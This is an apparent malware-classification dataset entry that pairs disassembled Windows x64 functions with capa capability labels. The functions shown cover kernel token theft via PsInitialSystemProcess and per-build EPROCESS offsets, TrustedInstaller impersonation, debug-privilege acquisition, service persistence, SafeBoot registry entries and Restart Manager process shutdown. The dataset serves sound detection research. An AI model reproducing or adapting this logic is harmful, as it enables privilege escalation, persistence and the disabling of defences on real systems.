joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002cb0
Capabilities:
Start service

Disassembly:
sub rsp, 0x48
mov r8d, 2
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [rsp + 0x30], rax
mov r8d, 0xf01ff
mov rdx, qword [0x14000e3c8]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140002d01
lea rcx, str.StartService_:_could_not_open_service
call fcn.140002fc0
mov eax, 0xffffffff
jmp 0x140002d63
mov dword [rsp + 0x20], 0
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x140002d3d
lea rcx, str.StartService_:__Cant_start_service
call fcn.140002fc0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x24], eax
mov dword [rsp + 0x20], 0xffffffff
jmp 0x140002d49
lea rcx, str.StartService_:_succesull_service_start
call fcn.140002fc0
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [rsp + 0x20]
add rsp, 0x48
ret

Function at 0x140002e70
Capabilities:
Query service status

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov dword [rsp + 0x20], 0
mov r8d, 4
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140002eb0
lea rcx, str.____QueryServiceByName:_Cant_open_Service_Control_Manager
call fcn.140002fc0
mov eax, dword [rsp + 0x20]
jmp 0x140002f2d
mov dword [rsp + 0x24], 5
mov r8d, dword [rsp + 0x24]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x140002ef7
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, str.____QueryServiceByName:_Cant_open_the_Service
call fcn.140002fc0
mov eax, dword [rsp + 0x20]
jmp 0x140002f2d
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x140002f13
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [rsp + 0x20]
add rsp, 0x68
ret
Function at 0x140002ff0
Capabilities:
Acquire debug privileges

Disassembly:
push rdi
sub rsp, 0x50
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14000303e
lea rcx, str.SetDebugPrivilege.OpenProcessToken
call fcn.140006ab0
jmp 0x1400030f5
mov dword [rsp + 0x40], 1
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x4c], 2
lea rax, str.SeDebugPrivilege
mov qword [rsp + 0x38], rax
mov eax, 0xc
imul rax, rax, 0
lea rax, [rsp + rax + 0x44]
mov r8, rax
mov rdx, qword [rsp + 0x38]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x14000309e
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.SetDebugPrivilege.LookupPrivilegeValueW
call fcn.140006ab0
jmp 0x1400030f5
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rsp + 0x40]
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1400030e5
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.SetDebugPrivilege.AdjustTokenPrivileges
call fcn.140006ab0
jmp 0x1400030f5
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x50
pop rdi
ret
Function at 0x140003100
Capabilities:
Create restart manager session
Enumerate processes that use resource

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xc8
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x48], 0
mov edx, 0x42
lea rcx, [rsp + 0x70]
call fcn.140006e10
lea r8, [rsp + 0x70]
xor edx, edx
lea rcx, [rsp + 0x40]
call sub.RstrtMgr.DLL_RmStartSession
test eax, eax
jne 0x14000332b
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0xd0]
mov edx, 1
mov ecx, dword [rsp + 0x40]
call sub.RstrtMgr.DLL_RmRegisterResources
test eax, eax
jne 0x140003322
mov dword [rsp + 0x64], 0
mov dword [rsp + 0x44], 0
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0x58], 0
mov edx, 8
lea rcx, [rsp + 0x58]
call fcn.140006e10
lea rax, [rsp + 0x64]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, [rsp + 0x4c]
lea rdx, [rsp + 0x44]
mov ecx, dword [rsp + 0x40]
call sub.RstrtMgr.DLL_RmGetList
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0xea
jne 0x1400031ec
cmp dword [rsp + 0x44], 0
jne 0x1400031fc
mov ecx, dword [rsp + 0x40]
call sub.RstrtMgr.DLL_RmEndSession
xor eax, eax
jmp 0x140003348
mov eax, dword [rsp + 0x44]
imul rax, rax, 0x29c
mov rcx, rax
call qword [sym.imp.msvcrt.dll_malloc]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14000322d
mov ecx, dword [rsp + 0x40]
call sub.RstrtMgr.DLL_RmEndSession
xor eax, eax
jmp 0x140003348
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x4c], eax
lea rax, [rsp + 0x64]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x58]
lea r8, [rsp + 0x4c]
lea rdx, [rsp + 0x44]
mov ecx, dword [rsp + 0x40]
call sub.RstrtMgr.DLL_RmGetList
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0
jne 0x140003269
cmp dword [rsp + 0x44], 0
jne 0x140003284
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.msvcrt.dll_free]
mov ecx, dword [rsp + 0x40]
call sub.RstrtMgr.DLL_RmEndSession
xor eax, eax
jmp 0x140003348
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [rsp + 0x6c], eax
mov dword [rsp + 0x50], 0
jmp 0x1400032ab
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x4c]
cmp dword [rsp + 0x50], eax
jae 0x1400032e9
movsxd rax, dword [rsp + 0x50]
imul rax, rax, 0x29c
mov rcx, qword [rsp + 0x58]
mov edx, dword [rsp + 0x6c]
cmp dword [rcx + rax], edx
jne 0x1400032e7
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.msvcrt.dll_free]
mov ecx, dword [rsp + 0x40]
call sub.RstrtMgr.DLL_RmEndSession
xor eax, eax
jmp 0x140003348
jmp 0x1400032a1
xor r8d, r8d
mov edx, 1
mov ecx, dword [rsp + 0x40]
call sub.RstrtMgr.DLL_RmShutdown
mov dword [rsp + 0x60], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0x60]
lea rcx, str.RmShutdown___d__LE___d
call fcn.140002fc0
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.msvcrt.dll_free]
mov ecx, dword [rsp + 0x40]
call sub.RstrtMgr.DLL_RmEndSession
cmp dword [rsp + 0x60], 0
jne 0x14000333c
mov dword [rsp + 0x68], 1
jmp 0x140003344
mov dword [rsp + 0x68], 0
mov eax, dword [rsp + 0x68]
add rsp, 0xc8
ret
Function at 0x140003350
Capabilities:
Load ntoskrnl
Resolve ntoskrnl gadgets

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x78
call fcn.140001b50
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
lea rcx, str.___Ntoskrnl_base_address:__p
call fcn.140002fc0
lea rcx, str.ntoskrnl.exe
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x28], rax
mov rdx, qword [rsp + 0x28]
lea rcx, str.___Ntoskrnl____p
call fcn.140002fc0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.PsInitialSystemProcess
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rdx, qword [rsp + 0x38]
lea rcx, str.___dwAddrr____p
call fcn.140002fc0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
lea rcx, str.___PsInitialSystemProcessOffset____p
call fcn.140002fc0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.___FreeLib___OK
call fcn.140002fc0
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov rdx, rax
mov rcx, qword [0x140017048]
call fcn.140001cd0
mov qword [rsp + 0x50], rax
mov rdx, qword [rsp + 0x50]
lea rcx, str.___PsInitialSystemProcess_address:__p
call fcn.140002fc0
mov eax, dword [rsp + 0x80]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140016fe8]
mov rcx, qword [rsp + 0x50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov rax, qword [0x140016fe8]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
lea rcx, str.ProcessAddress___p
call fcn.140002fc0
mov rax, qword [0x140016fe0]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rdx, rax
mov rcx, qword [0x140017048]
call fcn.140001cd0
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x68]
cmp qword [rsp + 0x58], rax
jne 0x1400034e8
lea rcx, str.___TargetProcessId___OK
call fcn.140002fc0
jmp 0x14000352f
mov rdx, qword [rsp + 0x58]
lea rcx, str.UniqueProcessId___p
call fcn.140002fc0
mov rax, qword [0x140016fe8]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rdx, rax
mov rcx, qword [0x140017048]
call fcn.140001cd0
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x20], rax
jne 0x14000347e
mov rax, qword [0x140016fe8]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rdx, qword [rsp + 0x20]
lea rcx, str.___Current_process_address:__p
call fcn.140002fc0
mov rax, qword [0x140016ff8]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
xor r9d, r9d
mov r8, rax
mov edx, 4
mov rcx, qword [0x140017048]
call fcn.1400050c0
add rsp, 0x78
ret
Function at 0x140003590
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x278
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x1400035d3
lea rcx, [0x14000b578]
call fcn.140006ab0
jmp 0x140003669
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32FirstW
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x140003603
lea rcx, str.GetProcessNameFromPID.Process32First
call fcn.140006ab0
jmp 0x140003669
lea rdx, [rsp + 0x5c]
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.msvcrt.dll__wcsicmp]
test eax, eax
jne 0x14000363a
mov rax, qword [rsp + 0x288]
mov ecx, dword [rsp + 0x38]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140003669
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140003603
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140003667
xor eax, eax
add rsp, 0x278
ret
Function at 0x140003a00
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x270
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xffffffff
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x238
rep stosb byte [rdi], al
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140003a8a
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x140003a88
mov rdx, qword [rsp + 0x280]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.msvcrt.dll__wcsicmp]
test eax, eax
jne 0x140003a86
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x20], eax
jmp 0x140003a88
jmp 0x140003a52
jmp 0x140003a95
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x20], 0xffffffff
jne 0x140003aa7
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x20]
add rsp, 0x270
pop rdi
ret
Function at 0x140003cd0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x4a0
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x290]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea rax, [rsp + 0x80]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x54], 0
mov dword [rsp + 0x68], 0
mov r8, qword [rsp + 0x4b8]
lea rdx, str.SystemCurrentControlSetServices_ws
lea rcx, [rsp + 0x290]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r9, qword [rsp + 0x4b0]
lea r8, [0x1400097b0]
lea rdx, str._ws_ws
lea rcx, [rsp + 0x80]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x290]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140003dc6
xor eax, eax
jmp 0x140003efe
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x54]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140003e05
xor eax, eax
jmp 0x140003efe
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x54]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140003e44
xor eax, eax
jmp 0x140003efe
lea rax, [rsp + 0x80]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x60], 0xffffffffffffffff
inc qword [rsp + 0x60]
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
cmp word [rax + rcx*2], 0
jne 0x140003e5a
mov rax, qword [rsp + 0x60]
lea rax, [rax + rax + 2]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140003eb5
xor eax, eax
jmp 0x140003efe
mov dword [rsp + 0x54], 2
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x54]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140003ef9
xor eax, eax
jmp 0x140003efe
mov eax, 1
add rsp, 0x4a0
pop rdi
ret
Function at 0x140005180
Capabilities:
Query or enumerate registry value

Disassembly:
push rdi
sub rsp, 0x250
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x1fe
rep stosb byte [rdi], al
mov dword [rsp + 0x44], 0xff
lea rax, [rsp + 0x44]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 2
lea r8, str.ReleaseId
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
lea rdx, [rsp + 0x50]
lea rcx, str.___Windows_Version__s_Found_n
call fcn.140003f10
lea rcx, [rsp + 0x50]
call qword [sym.imp.msvcrt.dll__wtoi]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0x76f
jg 0x140005243
cmp dword [rsp + 0x40], 0x76f
je 0x1400052de
cmp dword [rsp + 0x40], 0x647
je 0x140005272
cmp dword [rsp + 0x40], 0x70b
je 0x1400052a8
cmp dword [rsp + 0x40], 0x711
je 0x1400052a8
jmp 0x14000535c
cmp dword [rsp + 0x40], 0x775
je 0x1400052de
cmp dword [rsp + 0x40], 0x7d4
je 0x14000531d
cmp dword [rsp + 0x40], 0x7d9
je 0x14000531d
jmp 0x14000535c
mov qword [0x140016fe0], 0x2e8
mov qword [0x140016fe8], 0x2f0
mov qword [0x140016ff0], 0x358
mov qword [0x140016ff8], 0x6c8
mov eax, 1
jmp 0x14000536a
mov qword [0x140016fe0], 0x2e0
mov qword [0x140016fe8], 0x2e8
mov qword [0x140016ff0], 0x358
mov qword [0x140016ff8], 0x6c8
mov eax, 1
jmp 0x14000536a
mov qword [0x140016fe0], 0x2e8
mov qword [0x140016fe8], 0x2f0
mov qword [0x140016ff0], 0x360
mov qword [0x140016ff8], 0x6f8
lea rcx, str.___1909
call fcn.140002fc0
mov eax, 1
jmp 0x14000536a
mov qword [0x140016fe0], 0x440
mov qword [0x140016fe8], 0x448
mov qword [0x140016ff0], 0x4b8
mov qword [0x140016ff8], 0x878
lea rcx, str.___2009
call fcn.140002fc0
mov eax, 1
jmp 0x14000536a
lea rcx, str.____Version_Offsets_Not_Found_
call fcn.140002fc0
xor eax, eax
add rsp, 0x250
pop rdi
ret
Function at 0x140005420
Capabilities:
Acquire debug privileges
Create process on windows
Impersonate user

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x110
lea rcx, str.SeDebugPrivilege
call fcn.140002b20
lea rcx, str.SeImpersonatePrivilege
call fcn.140002b20
call fcn.140001d20
lea rcx, str.Impersonated
call fcn.140002fc0
mov r8d, dword [rsp + 0x120]
xor edx, edx
mov ecx, 0x440
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x140005495
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____OpenProcess_failed__TrustedInstaller.exe_:__d_n
call fcn.140002fc0
jmp 0x1400055f1
lea r8, [rsp + 0x58]
mov edx, 0x2000000
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1400054cd
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____OpenProcessToken_failed__TrustedInstaller.exe_:__d_n
call fcn.140002fc0
mov dword [rsp + 0x68], 0x18
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x78], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 2
mov r9d, 2
lea r8, [rsp + 0x68]
mov edx, 0x2000000
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x140005536
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____DuplicateTokenEx_failed__TrustedInstaller.exe_:__d_n
call fcn.140002fc0
lea rax, [rsp + 0xa0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, str.Winsta0Default
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0x80]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x400
mov r9, qword [rsp + 0x128]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
jne 0x1400055d6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateProcessWithTokenW_failed:__d_n
call fcn.140002fc0
jmp 0x1400055f1
mov r8, qword [rsp + 0x128]
mov edx, dword [rsp + 0x90]
lea rcx, str.Process_created:_PID:_d:_s
call fcn.140002fc0
add rsp, 0x110
pop rdi
ret
Function at 0x140005d70
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov dword [rsp + 0x50], 0
cmp qword [rsp + 0x80], 0
jne 0x140005d95
mov eax, dword [rsp + 0x50]
jmp 0x140005f4d
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x58], 0
lea rax, str.Service
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlSafeBootNetwork
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140005e7e
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140005e73
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140005e68
mov dword [rsp + 0x50], 1
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlSafeBootMinimal
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140005f49
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140005f3e
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140005f33
mov dword [rsp + 0x50], 1
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rsp + 0x50]
add rsp, 0x78
ret

Function at 0x140006ac0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x240
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov r8, qword [rsp + 0x250]
lea rdx, str.SystemCurrentControlSetServices_ws
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_wsprintfW]
xor r9d, r9d
mov r8d, 0x100
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyExW]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x140006b22
xor eax, eax
jmp 0x140006b27
mov eax, 1
add rsp, 0x240
pop rdi
ret